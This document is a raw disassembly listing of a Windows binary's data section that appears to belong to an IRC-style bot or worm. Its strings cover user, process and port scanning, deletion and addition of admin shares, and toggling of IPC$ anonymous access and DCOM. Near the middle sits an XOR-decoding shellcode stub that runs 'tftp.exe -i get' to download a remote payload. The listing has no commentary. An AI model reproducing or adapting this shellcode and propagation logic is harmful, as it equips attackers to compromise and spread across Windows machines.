aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_4102CC+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_4102CC+21Eo
		align 10h
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_4102CC+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_4102CC+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_4102CC+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_4102CC+178o
		align 10h
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_4102CC+14Do
		align 10h
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_4102CC+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_4102CC:loc_4103E5o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_4102CC:loc_4103DEo
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_4102CC+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_4102CC+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_4102CC+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_4102CC+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41069A+14Fo
		align 4
dword_4307B8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41069A+F7o
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 4
aS_5		db '  %S',0             ; DATA XREF: sub_41069A+BEo
		align 10h
dword_430800	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41069A+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41069A+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41081A:loc_410937o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41081A:loc_410930o
		align 10h
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41081A:loc_410929o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41081A:loc_410922o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41081A:loc_41091Bo
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41081A:loc_4108FEo
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41081A:loc_4108F7o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41081A:loc_4108F0o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41081A+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41081A:loc_4108C5o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41081A:loc_4108BEo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41081A:loc_4108B7o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41081A:loc_4108ADo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41081A+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41081A:loc_410887o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41081A:loc_41087Do
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41081A:loc_410873o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41081A:loc_410869o
		align 10h
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41081A:loc_41085Fo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41081A+3Bo
		align 4
dword_430B1C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41094E+ABo
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_430B58	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41094E+81o
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_410A77+120o
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_410A77+5Ao
					; sub_410A77+19Eo
		align 4
dword_430BB4	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_410C28:loc_410CAFo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 4
dword_430BEC	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_410C28:loc_410CA8o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 4
dword_430C28	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_410C28+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
		dd 72702067h, 7365636Fh, 3A736573h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_430C6C	dd 1		off_430C70	dd offset sub_410D6D	; DATA XREF: sub_4110D8+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 410DCBh, 706D6F63h, 2 dup(0)
		dd 3, 410E18h, 6E756F63h, 797274h, 0
		dd 4, 410EB6h, 736Fh, 2	dup(0)
		dd 5, 410F2Bh
dword_430CC4	dd 69257325h, 0						; .nsp0:00410E97o ...
byte_430CCC	db 50h			; DATA XREF: .nsp0:00410E3Ao
					; .nsp0:00410E47r
		db 43h,	2 dup(0)
dword_430CD0	dd 7C7325h						; sub_4110D8+39o
dword_430CD4	dd 5D73255Bh, 7Chdword_430CDC	dd 334B32h	dword_430CE0	dd 5D64255Bh, 7325hdword_430CE8	dd 5D4D5Bh						; sub_411035+57o
unk_430CEC	db    2			; DATA XREF: sub_411141+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_430D28	db    2			; DATA XREF: sub_41120E+41o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 4
off_430D68	dd offset dword_430DA0	; DATA XREF: sub_41135F+1B3o
					; .nsp0:004117FDo
		align 10h
		dd offset dword_430D98
		align 8
off_430D78	dd offset dword_430D94	; DATA XREF: .nsp0:00411866o
		dd offset dword_430D90
		dd offset dword_430D8C
		dd offset dword_430D88
dword_430D88	dd 5C3A44h						; .nsp0:00430D84o
dword_430D8C	dd 2444h	dword_430D90	dd 5C3A43h	dword_430D94	dd 2443h	dword_430D98	dd 494D4441h, 244Ehdword_430DA0	dd 24435049h, 0	unk_430DA8	db    2			; DATA XREF: sub_41135F+2E5o
					; .nsp0:0041195Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_430DEC	db    2			; DATA XREF: sub_41135F+2CFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_430E28	db    2			; DATA XREF: sub_41135F:loc_4115C1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_430E68	db    2			; DATA XREF: sub_41135F+25Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 10h
unk_430EA0	db    2			; DATA XREF: sub_41135F:loc_41152Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 10h
unk_430EE0	db    2			; DATA XREF: sub_41135F+1C8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_430F18	db    2			; DATA XREF: sub_41135F:loc_411491o
					; .nsp0:loc_4117B1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_430F5C	db    2			; DATA XREF: sub_41135F:loc_41148Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_430FAC	db    2			; DATA XREF: sub_41135F:loc_41146Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_430FF4	db    2			; DATA XREF: sub_41135F+106o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41135F+EDo
					; .nsp0:00411770o
		align 4
unk_431058	db    2			; DATA XREF: sub_41135F+91o
					; .nsp0:00411714o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_43109C	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_41135F:loc_4113CCo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_4310CC	db    2			; DATA XREF: sub_41135F+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41135F+54o
					; .nsp0:004116D7o
		align 10h
word_431110	dw 4Eh			; DATA XREF: sub_41135F+38r
		align 4
unk_431114	db    2			; DATA XREF: .nsp0:00411943o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_0		db '%c:\',0             ; DATA XREF: .nsp0:004118ADo
		align 4
aC_1		db '%c$',0              ; DATA XREF: .nsp0:0041189Co
unk_431158	db    2			; DATA XREF: .nsp0:loc_411822o
					; .nsp0:loc_4118F0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_431194	db    2			; DATA XREF: .nsp0:0041181Bo
					; .nsp0:004118E9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 4
unk_4311C8	db    2			; DATA XREF: .nsp0:loc_4117AAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_431218	db    2			; DATA XREF: .nsp0:loc_41178Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_431260	db    2			; DATA XREF: .nsp0:00411785o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_4312B0	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: .nsp0:loc_4116F0o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6E65204Dh
		dd 656C6261h, 2E64h
unk_4312E0	db    2			; DATA XREF: .nsp0:004116E9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_431318	dw 59h			; DATA XREF: .nsp0:004116BBr
		align 4
		jmp	short loc_431320
; ---------------------------------------------------------------------------


loc_43131E:				; CODE XREF: .nsp0:loc_431320p
		jmp	short loc_431325
; ---------------------------------------------------------------------------


loc_431320:				; CODE XREF: .nsp0:0043131Cj
		call	loc_43131E


loc_431325:				; CODE XREF: .nsp0:loc_43131Ej
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_43132C:				; CODE XREF: .nsp0:00431331j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_43132C
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_431342:				; CODE XREF: .nsp0:00431347j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_431342
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_4313E4
		jnz	short loc_4313D0
		retn
; ---------------------------------------------------------------------------


loc_4313D0:				; CODE XREF: .nsp0:004313CDj
					; .nsp0:004313DDj
		call	loc_4313D6
; ---------------------------------------------------------------------------
		align 2


loc_4313D6:				; CODE XREF: .nsp0:loc_4313D0j
		push	0
		call	sub_4313E4
		jz	loc_4313D0
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4313E4	proc near		; CODE XREF: .nsp0:004313C8p
					; .nsp0:004313D8p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_4313E4	endp

; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_411C28+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_411C28+35o
dword_431460	dd 1				align 10h
dword_431470	dd 173Fh			dd 9875h, 9873h
off_43147C	dd offset sub_412911	; DATA XREF: sub_413FAAr
		dd offset nullsub_2
		dd offset nullsub_2
dword_431488	dd 1B3Fh	dword_43148C	dd 19930520h, 4	dup(0)					; sub_412E16+2o
off_4314A0	dd offset sub_413FE8	; DATA XREF: sub_4144BE+1Cr
dword_4314A4	dd 2							; sub_419639+46r ...
off_4314A8	dd offset aNull_0	; DATA XREF: sub_41461C:loc_414980r
					; sub_41461C+457r
					; "(null)"
off_4314AC	dd offset aNull		; DATA XREF: sub_41461C+259r
					; "(null)"
off_4314B0	dd offset word_4314BA	; DATA XREF: sub_4123D4+23r
					; sub_4123D4:loc_412435r ...
		dd offset word_4314BA
		db 2 dup(0)
word_4314BA	dw 20h			; DATA XREF: sub_41AF8D+18r
					; .nsp0:off_4314B0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4316BC	dd 1							; sub_4123D4:loc_412420r ...
byte_4316C0	db 2Eh			; DATA XREF: sub_4167E8:loc_416828r
					; .nsp0:00416846r ...
		align 4
		dd 1, 10h
dword_4316CC	dd 3F8h							; sub_413D8F+4Dr ...
dword_4316D0	dd 14h		off_4316D4	dd offset aExp		; DATA XREF: sub_416531:loc_41654Er
					; "exp"
		dd 1Dh,	41D79Ch, 1Ah, 41D798h, 1Bh, 41D790h, 1Fh, 41D788h
		dd 13h,	41D780h, 21h, 41D778h, 0Eh, 41D770h, 0Dh, 41D768h
		dd 0Fh,	41D760h, 10h, 41D758h, 5, 41D750h, 1Eh,	41D74Ch
		dd 12h,	41D748h, 20h, 41D744h, 0Ch, 41D73Ch, 0Bh, 41D734h
		dd 15h,	41D72Ch, 1Ch, 41D724h, 19h, 41D71Ch, 11h, 41D714h
		dd 18h,	41D70Ch, 16h, 41D704h, 17h, 41D6FCh, 22h, 41D6F8h
		dd 23h,	41D6F4h, 24h, 41D6F0h
dbl_4317A8	dq 1.797693134862316e308 ; DATA	XREF: sub_41626C+B7r
					; sub_41626C:loc_416353r ...
		dd 0
		dd 0FFF80000h
dbl_4317B8	dq 1.797693134862316e308 ; DATA	XREF: sub_41626C+92r
					; sub_41626C:loc_41632Br ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_4317D0	dt 2.3562723457267347066e313 ; DATA XREF: sub_416719+Dr
					; sub_416719+1Fr
		align 4
tbyte_4317DC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_416719+31r
		align 4
off_4317E8	dd offset sub_41A7C6	; DATA XREF: sub_412929+Fw
					; sub_41461C+3AAr
off_4317EC	dd offset sub_41A7C6	; DATA XREF: sub_412929+5w
					; sub_41461C+3E2r
off_4317F0	dd offset sub_41A7C6	; DATA XREF: sub_412929+14w
					; sub_41760D+430r
off_4317F4	dd offset sub_41A7C6	; DATA XREF: sub_412929+1Ew
					; sub_41461C+3CBr
off_4317F8	dd offset sub_41A7C6	; DATA XREF: sub_412929+28w
off_4317FC	dd offset sub_41A7C6	; DATA XREF: sub_412929+32w
		dd offset sub_41A7CF
		align 10h
		dd offset sub_41746C
off_431814	dd offset sub_41746C	; DATA XREF: sub_4174C2+29r
dword_431818	dd 0D2D0920h, 5Dhdword_431820	dd 5Dh,	0	byte_431828	db 1			; DATA XREF: .nsp0:00418971r
		db 2, 4, 8
		align 10h
dword_431830	dd 3A4h		dword_431834	dd 82798260h, 21h, 0dword_431840	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_431920	dd 1							; sub_418CFA+Co
dword_431924	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_431A88	dd 0C0000005h						; sub_418EA2+Ar ...
dword_431A8C	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_431B00	dd 3							; sub_41BB67+C8r
dword_431B04	dd 7							; sub_41BB67+CDr
dword_431B08	dd 0Ah							; sub_41BC94+4r
dword_431B0C	dd 8Ch							; .nsp0:00418DF0w ...
dword_431B10	dd 0FFFFFFFFh, 0A00h					; sub_418180:loc_418201o
dword_431B18	dd 2							; sub_419639+28r
off_431B1C	dd offset aR6002FloatingP ; DATA XREF: sub_419639+FCr
					; sub_419639+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41DABCh, 9, 41DA90h, 0Ah,	41DA6Ch, 10h, 41DA40h
		dd 11h,	41DA10h, 12h, 41D9ECh, 13h, 41D9C0h, 18h, 41D988h
		dd 19h,	41D960h, 1Ah, 41D928h, 1Bh, 41D8F0h, 1Ch, 41D8C8h
		dd 78h,	41D8B8h, 79h, 41D8A8h, 7Ah, 41D898h, 0FCh, 421F48h
		dd 0FFh, 41D888h
off_431BA8	dd offset dword_462EC0	; DATA XREF: sub_419639+1Bo
					; sub_4199A3+55o
		align 10h
		dd offset dword_462EC0
		dd 101h
dword_431BB8	dd 2 dup(0)			dd 1000h, 0
dword_431BC8	dd 3 dup(0)						; sub_415086+12o
		dd 2, 1, 3 dup(0)
dword_431BE8	dd 3 dup(0)						; sub_415086:loc_4150A4o
		dd 2 dup(2), 7 dup(0)
dword_431C18	dd 84h dup(0)	dword_431E28	dd 2694h						; sub_415F21+46r ...
		align 10h
dword_431E30	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_431E48	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_431E60	dd 7080h						; sub_41AA32+5Ew ...
dword_431E64	dd 1							; sub_41AA32+8Bw ...
dword_431E68	dd 0FFFFF1F0h						; sub_41AA32+94w ...
dword_431E6C	dd 545350h, 0Fh	dup(0)dword_431EAC	dd 544450h, 0Fh	dup(0)off_431EEC	dd offset dword_431E6C	; DATA XREF: sub_41AA32+BAr
					; sub_41AA32+D9r ...
off_431EF0	dd offset dword_431EAC	; DATA XREF: sub_41AA32+F4r
					; sub_41AA32+11Br ...
		align 8
dword_431EF8	dd 0FFFFFFFFh						; sub_41AC90+1Er ...
dword_431EFC	dd 0							; sub_41AE3C+BFw
dword_431F00	dd 0							; sub_41AE3C+E0w
		align 8
dword_431F08	dd 0FFFFFFFFh						; sub_41AC90+26r ...
dword_431F0C	dd 0							; sub_41AE3C+EAw ...
dword_431F10	dd 0							; sub_41AE3C+23r ...
dword_431F14	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_431F44	dd 16Dh							; sub_41AE3C+2Er ...
